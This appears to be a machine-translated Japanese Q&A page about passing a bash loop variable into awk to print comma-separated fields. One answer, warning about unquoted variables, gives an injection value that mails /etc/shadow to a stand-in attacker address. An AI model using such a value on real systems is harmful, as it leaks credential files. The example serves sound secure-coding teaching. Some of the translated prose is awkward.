1
#!/bin/bash

index=101,102,103,104,105
/bin/echo "$index" | /bin/awk -F\, '{print $2}'

上記は私のシェルスクリプトです(これは単なるデモです。静的であってはなりません)これを実行すると、値「102」が返されます。

 #!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -F\, '{print $i}'
done

すべての数字を 1 つずつ出力したいのですが、どこが間違っていますか?

「null」の saprated 値を使用していくつかの変更を行いました...次に、どのような変更を行うと思いますか? $i の値を取得してインクリメントするには?

output of  *some command*
1013
1023
12324
13224
3122
2421

#!/bin/bash
index=*some command*
i=1

for LINE in ${OUTPUT} ; do
    ans=$(/bin/echo "$index" | /bin/awk -vRS= -vFS="\n" '{print $i}')
    i=`expr $i + 1`
done
4

4 に答える 4

3

単一引用符は、変数の展開を許可しません。の値"$i"に展開されます$i'$i'、リテラル$iです。

一般に、変数がスクリプト内で正しく展開されると想定するのは安全ではありません。スクリプトを二重引用符で囲みたくありません。代わりに、 awk のオプション$iを使用して awk スクリプトに値を渡します。-v

#!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5; do
  echo "$index" | awk -F, -vi="$i" '{print $i}'
done

これは一例であり、実際に for ループを使用して の値を生成するかどうかはわかりません。スペースやその他の奇妙な文字が含まれている場合$iは二重引用符で囲むことを忘れないでください。$iスクリプトを壊して、望まないことを誤って実行してはいけません。常に必要というわけではありませんが、bash では変数を引用符で囲むことを常にお勧めします。注意≒良い。の値$iを取得すると"1;mail h4x0r@example.net < /etc/shadow;true"、引用符なしで危険にさらされます。引用符を使用すると、スクリプトが失敗しただけです。

于 2012-11-07T15:25:47.763 に答える
1

またはこのように

#!/bin/bash

index=101,102,103,104,105

IFS=','
for x in $index
do
    echo "$x"
done

IFS は、「,」の場合に区切り記号を定義します。次に、要素(配列など)を調べることができます

于 2012-11-07T13:50:10.547 に答える
1

iの値を awkに渡す必要があります。

#!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5
do
    /bin/echo "$index" | /bin/awk -v i=$i -F\, '{print $i}'
done

それ以外の場合、スクリプト内の値iは awk には認識されず、デフォルトで の値が使用されます0。したがって、あなたが言ったかのように印刷されます$0

于 2012-11-07T13:44:08.370 に答える
-1

$iシェルによって展開されるように二重引用符を使用します。次に、の展開を防ぐために、ドル記号を引用する必要があります$$

awk -F, "{print \$$i}"
于 2012-11-07T13:51:46.607 に答える